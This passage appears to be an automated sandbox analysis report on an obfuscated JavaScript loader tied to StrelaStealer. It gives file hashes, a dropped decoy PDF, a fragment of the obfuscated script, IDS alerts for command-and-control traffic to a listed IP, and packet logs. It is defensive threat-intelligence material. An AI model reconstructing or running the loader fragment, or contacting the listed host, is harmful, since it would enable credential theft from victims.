Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15870), with CRLF line terminators
Entropy (8bit):	4.910802682672693
TrID:
File name:	1052056652379030461.js
File size:	19'160 bytes
MD5:	655dd4f6ef40416d7aa410c91020d74f
SHA1:	5c5594e549c26ef95a5eac1dd4544a1e75d84283
SHA256:	9df90a139416b20ee8e0b2cd91b8d771b4ba81b924721dd5005f373bb884ce68
SHA512:	d1f270bc8fcd59f44c91f9b95d760afcb694384d632517156a1db10b5cb8c812a1f383a23860e928dfcc90212a64b8802c1cb3f87e3a5b29bc7f9d9a90518abc
SSDEEP:	384:dBcLQQkjkD5r/z/OPxR4GNn/ZA9Dm2p/+uuEFy8/pZtqVUFNSBJFrhXjlnNL2Jjh:d+N6PxBBEmjlNL29h
TLSH:	8C8262D44857C73F8CE041B000862CFBB98053FD82A555CE0665D9896FAF2FAF8C5AB8
File Content Preview:	function abxpkq(){kvgogup=[1031,3079,5127,4103,2055,3072];var qtiqe=this[yzwcavh+cdarwthx+kligy+dxnjxwlw+zevpaxw+micnzrfw+yhqpy+ufvsuzm](this[wojkib+hwmpme+gnhignh+kligy+egmuvb+yzwcavh+ufvsuzm][jiypwhsr+kligy+zevpaxw+cdarwthx+ufvsuzm+zevpaxw+jflvafy+elsgn

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:33:31.820197+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:33:31.820197+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:33:34.975091+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:33:31.011029959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.015924931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.016019106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.019356012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.024171114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820013046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820067883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820103884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820137978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820171118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820197105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.820204020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820234060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.820238113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820261002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.820291996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820324898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820339918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.820358992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.820405960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.825290918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.825347900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.825412035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.865931034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.865953922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.866074085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.940285921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940320015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940335035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940350056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940443039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.940534115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940547943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940604925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.940758944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940774918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940789938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940804005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.940807104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.940836906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.941417933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.941441059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.941456079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.941468954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.941474915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.941483021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.941503048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.942302942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.942328930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.942342043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.942343950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.942358017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.942372084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.942372084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.942404032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.943058968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.943073034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.943087101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:31.943104029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:31.990767002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.003885031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.028163910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.028181076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.028278112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.032541990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.032552958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.032599926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.060875893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.060942888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.060977936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061002970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.061012030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061047077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061057091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.061080933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061115980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061125994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.061151981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061193943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.061239004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061274052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061310053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.061399937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061455011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061487913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061512947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.061521053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061568022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.061944008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.061976910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.062011003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.062020063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.062043905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.062077999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.062088966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.062110901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.062144995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.062150955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.062175035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.062212944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.064671993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.064707994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.064754009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.064758062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.064790964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.064825058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.064829111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.064857960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.064899921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.064908981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.064959049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065000057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.065009117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065059900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065093040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065103054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.065126896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065215111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065222025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.065248013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065283060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065291882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.065318108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065351009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065355062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.065382957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065417051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065422058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.065453053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.065495968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.096364975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.096398115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.096482038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.124960899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.124979973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.125062943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.150029898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.150079012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.150115967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.150170088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.150181055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.150199890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.150214911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.154300928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.154330969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.154352903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.181273937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181292057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181303978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181318045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181332111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181410074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.181447029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.181557894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181570053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181581974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181593895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181605101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181615114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.181616068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181627035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181647062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.181952953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181963921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181974888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.181984901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.182019949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.182023048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182034016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182044983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182056904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182059050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.182085991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182096958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182097912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.182130098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.182672024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182773113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182785034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182799101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182805061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.182826042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182837009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182840109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.182848930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182859898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182867050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.182887077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.182908058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182919979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.182957888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.183151007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.183163881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.183196068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187035084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187048912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187060118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187071085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187083006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187086105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187093973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187103033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187105894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187115908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187125921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187129021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187135935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187145948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187146902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187160969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187165976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187184095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187194109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187200069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187205076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187215090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187217951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187225103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187244892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187248945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187256098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187280893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187290907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187300920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187310934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187331915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187331915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187341928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187352896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187359095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187362909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187374115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187378883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187385082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187393904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187397003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187407017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187417984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187423944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187432051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187444925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.187454939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.187467098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.188519955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.188540936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.188558102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.188843012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.188853025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.188894987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.192079067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.192120075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.218200922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.218250036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.218286991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.218314886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.218333960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.241409063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.241444111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.241480112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.241533041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.241542101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.241569042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.241585016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.241602898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.241637945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.241642952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.241719007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.241748095 CET	80	49704	193.143.1.205	192.168.2.5
